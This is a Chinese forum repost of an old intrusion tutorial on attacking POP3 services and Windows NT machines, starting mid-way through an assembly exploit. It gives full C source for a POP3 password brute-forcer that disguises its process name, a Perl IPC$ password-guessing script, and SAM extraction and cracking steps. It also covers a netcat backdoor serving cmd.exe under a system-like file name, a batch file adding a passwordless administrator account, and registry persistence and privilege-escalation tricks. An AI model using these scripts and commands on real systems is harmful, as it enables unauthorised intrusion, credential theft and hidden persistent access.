push ipilll
push offset ipill
call write_console
jmp quit1
ip_aight:
mov sin.sin_addr, eax
jmp continue
gethost:
push offset _host
call gethostbyname
test eax, eax
jnz gothost
push reshostl
push offset reshost
call write_console
jmp quit1
gothost:
mov eax, [eax+0ch]
mov eax, [eax]
mov eax, [eax]
mov sin.sin_addr, eax
continue:
push size sin
push offset sin
push sock
call connect
or eax, eax
jz connect_ok
push cnerrorl
push offset cnerror
call write_console
jmp quit1
connect_ok:
xor eax, eax
push eax
push sploit_length
push offset sploit
push sock
call send
push successl
push offset success
call write_console
quit1:
push sock
call closesocket
quit2:
call WSACleanup
quit3:
push 0
call ExitProcess
parse proc
;cheap parsing.. hell.. its only an exploit.
lewp9:
xor eax, eax
cld
lodsb
cmp al, 20h
jz done
test al, al
jz done2
stosb
dec ecx
jmp lewp9
done:
dec ecx
done2:
ret
endp
str2num proc
push eax ecx edi
xor eax, eax
xor ecx, ecx
xor edx, edx
xor edi, edi
lewp2:
xor al, al
xlat
test al, al
jz end_it
sub al, 030h
mov cl, al
mov eax, edx
mul numbase
add eax, ecx
mov edx, eax
inc ebx
inc edi
cmp edi, 0ah
jnz lewp2
end_it:
pop edi ecx eax
ret
endp
init_console proc
push -10
call GetStdHandle
or eax, eax
je init_error
mov [console_in], eax
push -11
call GetStdHandle
or eax, eax
je init_error
mov [console_out], eax
ret
init_error:
push 0
call ExitProcess
endp
write_console proc text_out:dword, text_len:dword
pusha
push 0
push offset bytes_read
push text_len
push text_out
push console_out
call WriteConsoleA
popa
ret
endp
end start
 
第十一章 
攻击的一般步骤和实例
从理论上将没有一个系统是绝对安全的,除非这个系统没有和外界有任何的联系,没有输入,也没有输出。
所有的攻击是建立在上面的这条大原理下的。只要系统和外界有交互,那就能攻击进去。如果存在系统漏洞的话,攻击变得更加简单。
下面讲一下攻击的大致步骤和所用到的技术。
首先确认攻击目标。这里的主要任务是收集有关要攻击目标的有用的信息。这些信息包括目标计算机的硬件信息,运行的操作系统信息,运行的应用程序(服务)的信息,目标计算机所在网络的信息,目标计算机的用户信息,存在的漏洞等等。
这里用到的工具是端口扫描器,一些常用的网络命令。在这一步的主要目的是得到尽可能多的信息,为下一步入侵作好准备。
下一步就是选用合适的方法入侵。
这里主要是两种方法,通过发现目标计算机的漏洞进入系统,或者是利用口令猜测进入系统。
利用口令猜测就是试图重复登录,直到找到一个合法的登录为止。往往这种方法会耗大量的时间,而且,每次登录,不管是否成功都会在目标计算机上留下记录。会引起注意。
另一个就是利用和发现目标计算机的漏洞,直接顺利进入。
发现目标计算机漏洞的方法用得最多的就是缓冲区溢出法。通过这个方法,使得目标计算机以最高级别的权限来运行攻击者设定的后门程序,从而进入系统。
发现系统漏洞的第二个方法就是平时参加一些网络安全列表。全球的有关网络安全列表里经常有最新发现的系统或应用程序的漏洞的公告。然后根据第一步扫描系统是得到的信息来看看是否有漏洞可以利用。
还有一些入侵的方法是采用想IP地址欺骗等手段。它的原理就是通过各种欺骗手段,取得目标计算机的信任,从而可以进入目标计算机。
在入侵了计算机之后,剩下的工作是留下后门,删除入侵记录,继续收集有用的信息。
在侵入目标计算机后留下后门的目的是为以后进入该系统提供方便。后门一般都是一个特洛伊木马程序。它在系统运行的同时运行,而且能在系统以后的重启动时自动运行这个程序。
删除入侵记录是把在入侵系统时的各种登录信息都删除。以防被目标系统的管理员发现。继续收集信息应该是入侵系统的目的。采取的手法很多,比如通过sniffer程序来收集目标系统网络的重要数据。还可以通过后门,既一个特洛伊木马程序收集信息,比如发送一个文件拷贝命令,把目标计算机上的有用文件拷贝过来。
由于入侵的目标计算机可能运行的操作系统,应用程序很多,因此,没有一种固定的入侵方法。这往往要求攻击者具有丰富的计算机和网络方面的知识。特别是需要网络编程方面的知识和操作系统高级编程知识。只要知道一些网络安全技术方面的基础知识,在加上上面的这些编程知识,根据不同的操作系统,就能成功地实施对目标计算机系统的攻击了。
前面几章我们介绍了网络安全方面的基本知识和一些应用实例。下面对上面攻击步骤的介绍做一个具体的讲解。
这里举的例子中用到的方法可能已经过时,而且正如上面所述,并不是所有系统都必须用这个方法进行攻击的。
假设攻击者找到了要攻击的目标计算机(这里介绍的方法最适于对对内部的计算机进行攻击)。在端口扫描(包括手工和自动)后,发现目标计算机的POP3端口允许多次登录,而不被拒绝。这就是一个可以利用的地方。即可以使用一个程序来对username和password进行猜测。如果攻击者是个懂编写程序的人,那他就可以用一个程序来完成自动猜测。这就是为什么要懂计算机语言和操作系统等基本原理。这里,攻击者用的是Linux操作系统。在Windows下也可以同样进行。
/* : After recently installing POP3d on a machine, I played around with it a
: bit and came to a few conclusions:
: 1) It allows for multiple username/password guesses
: 2) There is no logging option for basd user/pass guesses.
: This seems like something just begging to be brute force hacked.
: Any comments? */
#include < stdio.h>
#include < string.h>
#include < signal.h>
#include < unistd.h>
#include < sys/param.h>
#include < sys/socket.h>
#include < netinet/in.h>
#include < netdb.h>
#include < stdarg.h>
/* First, define the POP-3 port - almost always 110 */
#define POP3_PORT 110
/* What we want our program to be masked as, so nosy sysadmins dont kill us */
#define MASKAS "vi"
/* Repeat connect or not - remember, logs still report a connection, so
you might want to set this to 0. If set to 0, it will hack until it finds
1 user/password then exit. If set to 1, it will reconnect and try more
user/passwords (until it runs out of usernames) */
#define RECONNECT 0
 
 
/* The function prototypes */
void nuke_string(char *);
int pop_connect(char *);
int pop_guess(char *, char *);
char *getanswer(char *);
char *getanswer_(char *);
void swallow_welcome(void);
void hackity_hack(void);
int popfd;
FILE *popfp;
FILE *userfile;
FILE *dictfile;
char host[255];
char dict[255];
char user[255];
main(int argc, char **argv)
{
if(argc < 4)
{
/* invalid syntax, display syntax and exit */
printf("Syntax: %s host userfile dictfile", argv[0]);
exit(0);
}
/* Validate that the host exists */
if(pop_connect(argv[1]) == -1)
{
/* Error */
printf("Error connecting to host %s", argv[1]);
exit(0);
}
printf("Connected to: %s", argv[1]);
/* Check for the existance of the user file */
userfile=fopen(argv[2], "rt");
if(userfile==NULL)
{
/* Error */
printf("Error opening userfile %s", argv[2]);
exit(0);
}
fclose(userfile);
/* Checking for the existance of dict file */
dictfile=fopen(argv[3], "rt");
if(dictfile==NULL)
{
/* Error */
printf("Error opening dictfile %s", argv[3]);
exit(0);
}
fclose(dictfile);
/* Copy important arguments to variables */
strcpy(host, argv[1]);
strcpy(user, argv[2]);
strcpy(dict, argv[3]);
nuke_string(argv[0]);
nuke_string(argv[1]);
nuke_string(argv[2]);
nuke_string(argv[3]);
strcpy(argv[0], MASKAS);
swallow_welcome();
hackity_hack();
}
 
void nuke_string(char *targetstring)
{
char *mystring=targetstring;
while(*targetstring != '0')
{
*targetstring=' ';
targetstring++;
}
*mystring='0';
}
 
int pop_connect(char *pophost)
{
int popsocket;
struct sockaddr_in sin;
struct hostent *hp;
hp=gethostbyname(pophost);
if(hp==NULL) return -1;
bzero((char *)&sin,sizeof(sin));
bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length);
sin.sin_family=hp->h_addrtype;
sin.sin_port=htons(POP3_PORT);
popsocket=socket(AF_INET, SOCK_STREAM, 0);
if(popsocket==-1) return -1;
if(connect(popsocket,(struct sockaddr *)&sin,sizeof(sin))==-1) return -1;
popfd=popsocket;
return popsocket;
}
int pop_guess(char *username, char *password)
{
char buff[512];
sprintf(buff, "USER %s", username);
send(popfd, buff, strlen(buff), 0);
getanswer(buff);
sprintf(buff, "PASS %s", password);
send(popfd, buff, strlen(buff), 0);
getanswer(buff);
if(strstr(buff, "+OK") != NULL)
{
printf("USERNAME: %s: %s", username, password);
return 0;
}
else return -1;
}
char *getanswer(char *buff)
{
for(;;)
{
getanswer_(buff);
if(strstr(buff, "+OK") != NULL) return buff;
if(strstr(buff, "-ERR") != NULL) return buff;
}
}
char *getanswer_(char *buff)
{
int ch;
char *in=buff;
for(;;)
{
ch=getc(popfp);
if(ch == '');
if(ch == '')
{
*in='0';
return buff;
}
else
{
*in=(char)ch;
in++;
}
}
}
void swallow_welcome(void)
{
char b[100];
popfp=fdopen(popfd, "rt");
getanswer(b);
}
 
void hackity_hack(void)
{
char *un;
char *pw;
char *c;
int found=0;
un=(char *)malloc(512);
pw=(char *)malloc(512);
if(un==NULL || pw==NULL) return;
userfile=fopen(user, "rt");
dictfile=fopen(dict, "rt");
if(userfile == NULL || dictfile == NULL) return;
for(;;)
{
while(fgets(un, 50, userfile) != NULL)
{
found=0;
c=strchr(un, 10);
if(c != NULL) *c=0;
c=strchr(un, 13);
if(c != NULL) *c=0;
while(fgets(pw, 50, dictfile) != NULL && found==0)
{
c=strchr(pw, 10);
if(c != NULL) *c=0;
c=strchr(pw, 13);
if(c != NULL) *c=0;
if(strlen(pw) > 2 && strlen(un) > 2)
if(pop_guess(un, pw)==0)
{
found=1;
fclose(popfp);
close(popfd);
if(RECONNECT==0)
{
free(pw);
free(un);
fclose(userfile);
fclose(dictfile);
exit(0);
}
pop_connect(host);
swallow_welcome();
}
}
fclose(dictfile);
dictfile=fopen(dict, "rt");
}
fclose(dictfile);
fclose(userfile);
free(un);
free(pw);
exit(0);
}
}
这个程序的运行结果就是猜测到许多用户的口令。一般用户使用的用户名和口令和他在登录系统时的是一样的。如果系统的共享资源的访问也需要口令的话,一般上面搞到的口令中的某一个就是的。
如果我们知道目标计算机上运行的服务及其所用的软件的话,还可以用查找缓冲器漏洞的办法来侵入。具体的例子见《缓冲区溢出攻击》中的介绍。远程攻击的最佳方法是利用缓冲区溢出。
  下一章我们介绍怎样入侵Windows NT系统。
第十二章 
入侵Windows NT
如果要防范从远程对你的Windows NT的入侵,最好的办法还是研究一下入侵的基本方法。只有做到“知己知彼”,才能更好地防范入侵。
第一节 通过NetBIOS入侵
所有的入侵都涉及到以root或admin权限登录到某一计算机或网络。入侵的第一步往往是对目标计算机或的端口扫描(portscan)。建立在目标计算机开放端口上的攻击是相当有效的。NT机器的端口信息的显示和UNIX的不同。因此,一般能区分出目标计算机所运行的是哪个操作系统。
攻击NT为基础的网络时,NetBIOS是首选的进攻点。
使用端口扫描软件,比如Sam,看看目标计算机的端口139是否打开。139端口是"NetBIOS
session"端口,用来进行文件和打印共享的,是NT潜在的危险。注意:运行SAMBA的Linux和UNIX系统的139端口也是打开的,提供类似的文件共享。找到了这样的目标计算机后,接下来是使用"nbtstat"命令。
NBTSTAT命令是用来询问有关NetBIOS的信息的,也能清除NetBIOS
缓冲区能的内容和将LMHOSTS文件预先装入其中。通过运行这一命令能得到许多有用信息。
NBTSTAT命令解释:nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S]
[-s] [interval]开关: -a 列出给定主机名的远程计算机的名字表(name table) -A 列出给定IP地址的远程计算机的名字表 -c
列出远程名字缓冲区(name cache),包括IP地址 -n 列出本地NetBIOS 名字 -r 列出通过广播(broadcast)和WINS解析的名字
-R 清除和重新装入远程的缓冲的名字表
-S 列出和目标IP地址会话的表
-s 列出会话表转换
NBTSTAT命令的输出的每一栏都有不同的含义,它们的标题有下面几个,含义也在下面做了相应的解释:
Input
接收到的字节数。
Output
发送的字节数。
In/Out 这个连接是来自该计算机(outbound)还是来自另外的系统(inbound)。
Life
在你的计算机清除名字表之前存在时间。
Local Name
连接时本地的名字。
Remote Host
远程计算机的名字或IP地址。
Type
一个名字可以有两种类型: unique 或group。
NetBIOS名字的最后16个字符经常代表一些内容。因为同样的名字可以在同一计算机出现几次。 该类型表示名字的最后一个字节(用16进制表示)。
State
你的NetBIOS连接将是下面几个状态之一:
State MeaningAccepting 正在处理一个进入的连接Associated
一个连接的端点已经建立,你的计算机与它以一个IP地址相关Connected 你已经联系到了远程资源。Connecting
你的会话正试图对目标资源进行名字到IP地址的解析Disconnected 你的计算机发出一个断开请求,正在等待远程计算机的响应Disconnecting
正在结束你的连接
Idle 远程计算机在当前会话已经打开,但目前不接受连接
Inbound 一个inbound会话正试图连接
Listening 远程计算机可以使用了
Outbound 你的会话正在建立一个TCP 连接
Reconnecting 如果第一次失败,它会在重新连接时显示这一信息下面是一个NBTSTAT命令的实例:
C:>nbtstat -A x.x.x.x NetBIOS Remote Machine Name Table
Name Type Status
----------------------------------------------------------------------
DATARAT < 00> UNIQUE Registered
R9LABS < 00> GROUP Registered
DATARAT < 20> UNIQUE Registered
DATARAT < 03> UNIQUE Registered
GHOST < 03> UNIQUE Registered
DATARAT < 01> UNIQUE Registered
MAC Address = 00-00-00-00-00-00
上面的输出是什么意思呢?尤其是Type这一栏,代表的是什么呢。再看看下面的表,它能告诉你什么?
Name Number Type Usage=====================================================<
computername> 00 U Workstation Service< computername> 01 U Messenger Service<
\_MSBROWSE_> 01 G Master Browser< computername> 03 U Messenger Service
< computername> 06 U RAS Server Service
< computername> 1F U NetDDE Service
< computername> 20 U File Server Service
< computername> 21 U RAS Client Service
< computername> 22 U Exchange Interchange
< computername> 23 U Exchange Store
< computername> 24 U Exchange Directory
< computername> 30 U Modem Sharing Server Service
< computername> 31 U Modem Sharing Client Service
< computername> 43 U SMS Client Remote Control
< computername> 44 U SMS Admin Remote Control Tool
< computername> 45 U SMS Client Remote Chat
< computername> 46 U SMS Client Remote Transfer
< computername> 4C U DEC Pathworks TCPIP Service
< computername> 52 U DEC Pathworks TCPIP Service
< computername> 87 U Exchange MTA
< computername> 6A U Exchange IMC
< computername> BE U Network Monitor Agent
< computername> BF U Network Monitor Apps
< username> 03 U Messenger Service
< domain> 00 G Domain Name
< domain> 1B U Domain Master Browser
< domain> 1C G Domain Controllers
< domain> 1D U Master Browser
< domain> 1E G Browser Service Elections
< INet~Services> 1C G Internet Information Server
< IS~Computer_name> 00 U Internet Information Server
< computername> [2B] U Lotus Notes Server
IRISMULTICAST [2F] G Lotus Notes
IRISNAMESERVER [33] G Lotus Notes
Forte_$ND800ZA [20] U DCA Irmalan Gateway Service
Unique (U): 名字(name )可能只分配了一个IP地址。在一个网络设备上,多次出现一个名字已经被注册,但后缀是唯一的,从而整个条目就是唯一的。
Group (G): 普通的组(group),同一个名字可能存在多个IP地址。Multihomed (M):
名字(name)是唯一的,但由于在同一计算机上有多个网络接口,这个配置在允许注册时是必须的。地址的数目最多25个。Internet Group (I):
这是组名字的一个特殊配置,用于WinNT的域名的管理。Domain Name (D): NT 4.0里新增的。
这个表是对NBTSTAT输出中Type的解释。通过详细分析NBTSTAT命令的输出,就能收集到目标计算机的许多信息。通过分析,就能发现目标计算机正在运行什么服务,甚至可以分析安装的软件包是什么。从而就能找到空隙可以利用。下一步就是从远程计算机收集可能的用户名。一个网络登录分成两个部分:用户名和口令。一旦一个入侵者知道了用户名,他就等于成功了一半。
通过分析NBTSTAT的命令输出,入侵者就能得到任何登录到那台计算机上的用户名。在NBTSTAT输出里,类型(Type)为<
03>的就是用户名或计算机名。类型(Type)为< 20>的就表示它是一个共享的资源。
IPC$(Inter-Process
Communication)共享是NT计算机上的一个标准的隐含共享,它是用于服务器之间的通信的。NT计算机通过使用这个共享来和其他的计算机连接得到不同类型的信息的。入侵者常常利用这一点来,通过使用空的IPC会话进行攻击。
有一个一个比较好的IPC会话工具:RedButton。
它是个很灵巧的程序,能登录到NT系统而不会显示用户名和口令。这个工具运行环境是NT。运行这个程序,将看到任何可能的共享,包括任何隐藏的admin共享(ie,
shares以"$"结束。默认的,有几个这样的可以得到的共享...C$,WINNT$,IPC$等等)。
注意:IPC$共享不是一个目录,磁盘或打印机意义上的共享。你看到的"$",它是默认的在系统启动时的admin共享。IPC是指"interprocess
communications"。IPC$共享提供了登录到系统的能力。注意,你试图通过IPC$连接会在EventLog中留下记录。不管你是否登录成功。
入侵者使用下面的命令对IPC$实施攻击:
c:>net use \[目标机器的IP地址]$ /user:< name> < passwd>
当这个连接建立后,要将username和password送去加以确认。如果你以"Administrator"登录,则需要进行口令猜测。
可以重复使用'net'命令,进行username和password猜测:
c:>net use \xxx.xxx.xxx.xxx$ /user:< name> < passwd>
也可以使用脚本语句:
open(IPC, "net use \xxx.xxx.xxx.xxx$ /user:< name> < passwd> | ");
NAT工具能自动完成上述功能。NAT是通过读取字典文件中的口令,进行重复登录,从而获取帐号。当然,可以编写一个脚本来实现NAT的功能。
Perl是一种很好的语言,是解释性的,如Java,但运行速度比Java快。同时,Unix系统能解释它。现在,95和NT版的Perl也已经推出。
下面这个脚本程序可以用来进行帐号和口令猜测。
----- begin script -----
# ipcchk.plx
# 该脚本从一个文本文件读入单词,并将该单词作为用户名和口令,进行
# IPC$连接。成功的连接保存到一个log文件。该脚本不检查输入参数的
# 有效性,因此必须输入目标机器的合法的IP地址。
#
# 用法: c:>perl ipcchk.plx [目标机器的IP地址]
open(TEST, "names.txt") || die "Could not open file.";
open(LOG,">>ipc.log") || die "Could not open log.";
if (length($ARGV[0]) == 0) {
print "Usage: perl ipcchk.plx [ipaddr]";
exit(0);
}
$server = ARGV[0];
while(< TEST>) {
$name = $_;
chop($name);
# print "net use \\$server\ipc$ /user:Administrator $name | ";
open(IPC, "net use \\$server\ipc$ /user:Administrator $name | ");
while(< IPC>) {
if (grep(/successfully/,$_)) {
print LOG "$server accepts connections for password $name";
# delete a successful connection to avoid multiple connections to
# the same machine
open(DEL, "net use \\$server\ipc$ /d | ");
}
}
----- end script -----
当然,你只要知道原理,可以用C语言或BASIC语言,编写一个具有上述功能的程序。
一旦进入,就不仅仅是能够收集用户名了。还能做许多其他事情。
接下来,入侵者会试图看看目标计算机上有那些共享的资源可以利用。可以使用下面一个命令:
c:>net view \[目标计算机的IP地址]
根据目标计算机的安全策略,这个命令有可能被拒绝。看看下面的例子:
C:>net view \0.0.0.0System error 5 has occurred.Access is denied.
C:>net use \0.0.0.0$ "" /user:""The command completed successfully.C:>net
view \0.0.0.0
Shared resources at \0.0.0.0
Share name Type Used as Comment
-------------------------------------------------------------------------------
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
该命令顺利地完成了。
从上面的例子可见,直到空IPC会话成功建立后,服务器的共享资源列表才能访问到。在此时,你可能会想到,这样的IPC连接会有多危险呢,但目前为止我们的有关IPC的知识还是很基本的。我们仅仅开始研究IPC共享的可能性。
如果有其它共享资源,可以用net命令进行连接。
c:>net use x: \[ipaddr][share]
如果不行,用上述进行的攻击方法。
一旦IPC$共享顺利完成,下一个命令是:
c:>net use g: \xxx.xxx.xxx.xxx$
得到了C$共享,并将该目录映射到g:,键入:
c:>dir g: /p
就能显示这个目录的所有内容。
成功地进行了IPC$连接后,点击Start -> Run,键入regedit。选择Registry -> Connect Network
Registry,再键入那台机器的IP地址。不一会,就能看目标计算机的的Registry了。
 
第二节 口令破解
如果入侵者进入了一个系统,他就可以干好几件事,比如进行密码破解。下面看一下在NT系统下是如何进行的。NT将用户的口令放在SAM(Security
Accounts Manager)文件中,但通常不能对这个文件进行存取。
不过,在c:目录下,有一个文件叫做SAM._。这是SAM数据库的压缩版本。它是在系统安装时建立的,用rdisk工具运行更新。普通用户有读它的权限。一旦入侵者能和目标计算机进行C$共享连接,他就能拷贝到这个文件:
c:>copy g:._
下面做个实验。先用User Manager创建几个容易猜的口令的帐号,并运行:
c:>rdisk /s
作完之后,进入c:目录,将SAM._拷贝到另一个目录。并键入:
c:>expand SAM._ sam
然后,使用一个叫SAMDump的工具。SAMDump会将这个文件转换成你能使用的格式。
c:>samdump sam > samfile
接下来就可以运行口令NT密码破解器,如l0phtcrack或NTCrack 。只要有足够的时间,刚才创建的几个口令就会被破解出来。
一旦闯进了目标系统,入侵者就能在这台计算机上留后门,以便日后进入。
第三节 后门
入侵者在闯入目标计算机后,往往会留后门,以便日后再方便地回到目标计算机上。
netcat是一个命令行工具,有几个运行开关,用来设置它的操作。如果设置得好的话,是不错的一个后门的选择。
可以配置成批处理文件。
nc -L -d -p [port] -t -e cmd.exe
L 让netcat在当前会话结束后保持侦听
d 运行时不打开一个windows的DOS窗口
p 捆绑的端口
t 允许telnet交互
e 连接后的操作
将这个命令行拷贝到一个文件,命名为runnc.bat。然后,将netcat和这个文件拷贝到目标计算机PATH变量中的任何一个目录中。比如c:\u12290。
另外一个小技巧是重新命名netcat(nc.exe)为其它的名字,看上去让人以为这是NT自身的文件,比如winlog.exe,在runnc.bat中只需做相应改动即可。
一旦这个批处理文件运行了,也就是说,netcat程序在目标计算机上运行后,netcat会在某一个端口侦听。入侵者就可以通过Telnet进行连接,从而通过执行cmd.exe,就能在远程运行目标计算机上的命令了。
或者使用客户状态模式的netcat:
c:>nc -v [ipaddress of target] [port]
如果是在目标计算机上的NT没有运行telnet服务器,可以使用另一个更好的服务,叫做Schedule
(或AT)服务,用于计划以后运行程序的时间。怎样知道是否已经运行了AT服务器了?在控制面板的服务(Control Panel ->
Services)里找找,看看它的运行状态。
如果安装了Perl,可以运行下面这个脚本。
----- begin script -----
# atchk.plx
# 该脚本用来检查本地服务器是否正在运行AT服务。如果没有,启动
# 这个服务。对这个脚本做写小改动,就可以应用到对远程计算机的检
# 查。只要已经成功建立了IPC$连接并有administrator权限即可。
#
# 用法: perl atchck.plx
use Win32::Service;
use Win32;
my %status;
Win32::Service::GetStatus('','Schedule', %status);
die "service is arealdy started" if ($status{CurrentState} == 4);
Win32::Service::StartService(Win32::NodeName( ),'Schedule') || die
"Can't start service";
print "Service started";
#**Note: This script was modified from:
#http://www.inforoute.cgs.fr/leberre1/perlser.htm
----- end script -----
入侵者只要拥有管理员级权限,就能运行AT命令。运行AT服务后,可以通过AT命令来执行一些操作。
AT的语法:
AT [\computername] [time] "command"
比如:
AT [\computername] [time] runnc.bat
可以在目标计算机的NT系统的注册表的以下registry主键中设置相关的键值,从而在用户登录后能自动运行键值所指向的程序。。
HKEY_LOCAL_MACHINE
HKEY_LOCAL_MACHINE
HKEY_CURRENT_USER
还可以使用NT命令创建一个新的用户帐号,并将它设置为管理员级别的权限。如下面的批处理文件所示。
----- begin batch file -----
@echo off
net user Admin /add /expires:never /passwordreq:no
net localgroup "Administrators" /add Admin
net localgroup "Users" /del Admin
----- end batch file -----
还有就是运行一些特洛伊程序,给入侵者留后门。有一个叫Netbus程序。它的功能与Back
Orifice类似,不过可以在NT运行。一旦入侵者使用了这个程序后,就可以在任何时候,任何地点,对这台目标计算机进行几乎是随心所欲的操作。
第四节 本地攻击
以上讲的是外部入侵者对目标计算机进行的攻击。其实,攻击往往可以是来自内部的。如果入侵者有本地NT计算机的使用权限,即使是一个普通权限的用户,都可以用一些工具来攻击本地的机器,从而得到一定收获。比如提高自己的权限,越权使用本地机器的资源等等。
一个比较常用的工具是getadmin。这个工具由一个可运行文件和一个.dll文件组成。通过运行,能将用户加到Administrator组。微软已经有了对这个缺陷的补丁程序。
另一个类似的是sechole.exe,运行后,增加了一个有管理员权限的用户。这些程序都只需在普通权限下运行。
还有一个技巧是进行注册表设置,设置使用哪个默认的调试器debugger。在一个用户模式的程序冲突时,这个调试器就会运行。通常的设置是:
Key: HKEY_LOCAL_MACHINENT
Value: Debugger
Data Type: REG_SZ
Default Value: drwtsn32 -p %ld -e %ld -g
所有的人都有权限来设置这个值,从而给入侵者一个机会。调式器在冲突的程序的安全上下文中运行。因此,所有你要做的就是改变默认值,用来指向User
Manager,然后让其中的一个服务冲突。这就取得了User Manager运行权。随后,入侵者就能增减帐号了。
用rdisk /s命令用来备份注册表。
另外,可以试图使用NTFSDOS工具,该工具是一张可以启动的DOS磁盘。以这张启动盘启动目标机器后,就能读该机器上的NTFS分区内的所有内容。比如拷贝系统文件,包括SAM数据库。
还有一个叫Systems Internals的工具,除了有上述功能外,允许对NTFS分区进行写操作。
net命令注解
通过上面的介绍,可以发现net命令是相当强大的。下面对这一命令的使用做简单的注解。具体使用时,请参见相应的帮助。
Net Accounts: 这个命令显示当前的口令的一些设置,登录的限定和域的信息。包括更新用户帐号数据库和修改口令及登录需求的选项。
Net Computer: 在域数据库里增加或删除计算机。Net Config Server 或 Net Config Workstation:
显示服务器服务的配置信息。如果没有指定Server或者Workstation,这个命令显示可以配置的服务的列表。
Net Continue: 重新激活被NET PAUSE命令挂起的NT服务。
Net File: 这个命令列出一个服务器上打开的文件。有一个关闭共享文件和解除文件锁定的选项。
Net Group: 显示组的名字的相关信息,并有一个选项,可以在服务器里增加或修改global组。
Net Help: 得到这些命令的帮助Net Helpmsg message#: 得到一个指定的net error或功能消息(function
message)的帮助。Net Localgroup:列出服务器上的本地组(local group),可以修改这些组。Net Name:
显示发往的计算机的名字和用户。Net Pause: 将某个NT服务挂起。
Net Print: 显示打印任务和共享队列。
Net Send: 给其他用户,计算机发送消息或在网络上的消息名字。
Net Session: 显示当前会话的信息。还包含一个终止当前会话的命令。
Net Share: 列出一个计算机上的所有共享资源的信息。这个命令也可以用来创建共享资源。
Net Statistics Server 或 Workstation: 显示统计记录。
Net Stop: 停止 NT 的服务,取消任何正在使用的连接。停止一个服务有可能会停止其他服务。
Net Time: 显示或设置一个计算机或域的时间。
Net Use: 列出连接上的计算机,有连接或断开共享资源的选项。
Net User: 列出计算机的用户帐号,并有创建或修改帐号的选项。
Net View: 列出一台计算机上的所有共享资源。包括netware服务。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|捐助支持|无忧启动 ( 闽ICP备05002490号-1 )

闽公网安备 35020302032614号

GMT+8, 2026-3-8 18:17

Powered by Discuz! X3.3

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表